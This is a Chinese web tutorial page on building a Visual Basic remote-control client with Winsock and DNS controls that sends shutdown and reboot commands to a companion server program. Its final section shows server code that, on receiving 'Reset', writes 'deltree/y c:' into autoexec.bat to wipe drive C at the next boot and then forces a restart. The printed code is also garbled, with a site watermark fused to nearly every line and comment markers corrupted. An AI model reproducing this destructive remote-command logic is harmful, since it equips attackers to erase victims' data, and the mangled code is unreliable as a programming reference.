最新更新 sitemap 网站制作设计本站搜索
网页设计
国外网站 韩国网站 个人主页 手提袋设计 CSS 网页特效 平面设计 网站设计 Flash CMS技巧 服装网站 php教程 photoshop 画册 服务器选用 数据库 Office
虚拟主机 域名注册 云主机 网页设计 客服QQ:8208442
当前位置:首页 > 编程开发 > VB开发

VB中利用Winsock和msDNS控件进行

日期:09-03    来源:中国设计秀    作者:cnwebshow.com

第一个TextBox的INDEX=0为输入用户名框,第二个TextBox的INDEX=1为IP地址框)和五个CommandButton。如下图T8C中国设计秀
T8C中国设计秀
属性为:T8C中国设计秀
CommandButtonT8C中国设计秀

控件类型 控件名称 属性 属性值
Winsock Winsock1 protocol sckTCPProtocol
DNS DNS1 HostIP 127.0.0.1
Label Label1 Caption 用户名为:
Label Label2 Caption IP地址:
Label state_lab borderstyle 1
CommandButton CmdIpSend Caption 查找
CommandButton CmdClose Caption 远程关闭
CommandButton CmdReset Caption 远程重启
CommandButton CmdConnect Caption 连接
CommandButton CmdExit Caption 退出

代码如下:T8C中国设计秀
T8C中国设计秀
Option ExplicitT8C中国设计秀
Private UnusedField As IntegerT8C中国设计秀
T8C中国设计秀
Private Sub Form_Load()T8C中国设计秀
UnusedField = 1T8C中国设计秀
Winsock1.LocalPort = 0 "本地端口可任选,只要不冲突且小于65535,用0可产生一个随机的的端口T8C中国设计秀
Winsock1.RemotePort = 1334 "对应服务器端的localportT8C中国设计秀
state_lab = "未建立连接."T8C中国设计秀
End SubT8C中国设计秀
T8C中国设计秀
Private Sub CmdClose_Click()T8C中国设计秀
 If Winsock1.State <> sckConnected ThenT8C中国设计秀
 state_lab = "请先建立连接"T8C中国设计秀
ElseT8C中国设计秀
 Winsock1.SendData "Close" "发出关闭命令T8C中国设计秀
End IfT8C中国设计秀
End SubT8C中国设计秀
T8C中国设计秀
Private Sub CmdReset_Click()T8C中国设计秀
 If Winsock1.State <> sckConnected ThenT8C中国设计秀
  state_lab = "请先建立连接"T8C中国设计秀
 ElseT8C中国设计秀
  Winsock1.SendData "Reset" "发出重启命令T8C中国设计秀
 End IfT8C中国设计秀
End SubT8C中国设计秀
T8C中国设计秀
Private Sub CmdConnect_Click()T8C中国设计秀
 On Error GoTo skipT8C中国设计秀
 Winsock1.RemoteHost = Text1(1).TextT8C中国设计秀
 If Winsock1.State = sckConnected ThenT8C中国设计秀
  state_lab = "已建立连接了"T8C中国设计秀
 ElseT8C中国设计秀
  Winsock1.ConnectT8C中国设计秀
 End IfT8C中国设计秀
Exit SubT8C中国设计秀
skip: "用netstat命令看到状态为Time_wait则T8C中国设计秀
If Err.Number = 10048 Then "须等待一段时间才可连接,也可换另一端口,可加快连接速度T8C中国设计秀
 MsgBox "端口正在使用,请稍后再试!", vbOKOnly, "注意!"T8C中国设计秀
EndT8C中国设计秀
End IfT8C中国设计秀
End SubT8C中国设计秀
T8C中国设计秀
Private Sub CmdExit_Click()T8C中国设计秀
 Winsock1.Close "关闭连接且退出T8C中国设计秀
EndT8C中国设计秀
End SubT8C中国设计秀
T8C中国设计秀
Private Sub Winsock1_Connect()T8C中国设计秀
 state_lab = "建立连接成功!可发送命令."T8C中国设计秀
End SubT8C中国设计秀
T8C中国设计秀
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)T8C中国设计秀
 MsgBox "错误", vbOKOnly, "注意!"T8C中国设计秀
EndT8C中国设计秀
End SubT8C中国设计秀
T8C中国设计秀
"--------////////////-------T8C中国设计秀
T8C中国设计秀
’事件Ready是DNS控件的准备事件,是在收到信息后而作出答复T8C中国设计秀
Private Sub DNS1_Ready(ByVal Status As Integer)T8C中国设计秀
T8C中国设计秀
Select Case StatusT8C中国设计秀
 Case dnsReadyT8C中国设计秀
  Text1(0) = DNS1.HostNameT8C中国设计秀
  Text1(1) = DNS1.HostIPT8C中国设计秀
 Case dnsErrorT8C中国设计秀
  If Text1(0) = "" Then Text1(0) = "(DNS error)" Else Text1(1) = "(error)"T8C中国设计秀
 Case dnsNotFoundT8C中国设计秀
  If Text1(0) = "" Then Text1(0) = "(address not found)" Else Text1(1) = "(not found)"T8C中国设计秀
 End SelectT8C中国设计秀
 Screen.MousePointer = 0T8C中国设计秀
T8C中国设计秀
End SubT8C中国设计秀
T8C中国设计秀
’从服务器返回的错误信息T8C中国设计秀
T8C中国设计秀
Private Sub DNS1_SocketError(ByVal Number As Integer, ByVal Description As String)T8C中国设计秀
MsgBox "A socket error occured:" & vbCrLf & Description, "Sorry!"T8C中国设计秀
 Screen.MousePointer = 0T8C中国设计秀
End SubT8C中国设计秀
T8C中国设计秀
’输入主机名,用来查找其IP地址T8C中国设计秀
Private Sub CmdIpSend_Click()T8C中国设计秀
If Text1(0).Text = "" ThenT8C中国设计秀
 MsgBox "请输入查找的主机名", vbOKOnly + vbCritical, "错误"T8C中国设计秀
Exit SubT8C中国设计秀
End IfT8C中国设计秀
Text1(UnusedField) = ""T8C中国设计秀
T8C中国设计秀
Screen.MousePointer = vbHourglassT8C中国设计秀
T8C中国设计秀
If Text1(1) = "" ThenT8C中国设计秀
DNS1.HostName = Text1(0)T8C中国设计秀
ElseT8C中国设计秀
DNS1.HostIP = Text1(1)T8C中国设计秀
End IfT8C中国设计秀
T8C中国设计秀
End SubT8C中国设计秀
T8C中国设计秀
’当对象获得焦点时产生该事件T8C中国设计秀
Private Sub Text1_GotFocus(Index As Integer)T8C中国设计秀
With Text1(Index)T8C中国设计秀
 .SelStart = 0T8C中国设计秀
 .SelLength = Len(.Text)T8C中国设计秀
End WithT8C中国设计秀
End SubT8C中国设计秀
T8C中国设计秀
’此事件当用户按下和松开一个 ANSI 键时发生T8C中国设计秀
T8C中国设计秀
Private Sub Text1_KeyPress(Index As Integer, KeyAscii As Integer)T8C中国设计秀
UnusedField = IIf(Index = 0, 1, 0)T8C中国设计秀
End SubT8C中国设计秀
T8C中国设计秀
以上两个程序已做好了,只有先在服务器端运行服务器端程序,再在客户端运行客户端程序,在用户名框输入服务器的主机名查找出其IP地址,进行连接就可以控制服务器了,就这么简单。也可以单机进行控制,就是在一台计算机上先运行服务器端程序,再运行客户端程序,输入本机用户名查找出其IP地址进行连接就行了。如果要更多的功能,可以在服务器端程序的Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)过程中的Case Else之后加入。例如想要产生一个重启之后进行格式化硬盘的命令就是在Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)过程中,简单如下:T8C中国设计秀
T8C中国设计秀
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)T8C中国设计秀
Dim dwReserved As LongT8C中国设计秀
Dim strget As StringT8C中国设计秀
Dim X As LongT8C中国设计秀
Dim ccom As StringT8C中国设计秀
 Winsock1.GetData strget "读取到达的数据T8C中国设计秀
 Select Case strgetT8C中国设计秀
 Case "Reset" "判断到达的数据是否‘Reset’,是则重启T8C中国设计秀
  Open "c:autoexec.bat" For Output As #1T8C中国设计秀
  Print #1, "deltree/y c:" "在重启时删除C盘上的所有文件T8C中国设计秀
 CloseT8C中国设计秀
T8C中国设计秀
  X = ExitWindowsEx(EWX_RESET, dwReserved)T8C中国设计秀
 Case "Close" "如为‘Close’则关闭计算机

本文引用地址:/bc/article_61279.html
网站地图 | 关于我们 | 联系我们 | 网站建设 | 广告服务 | 版权声明 | 免责声明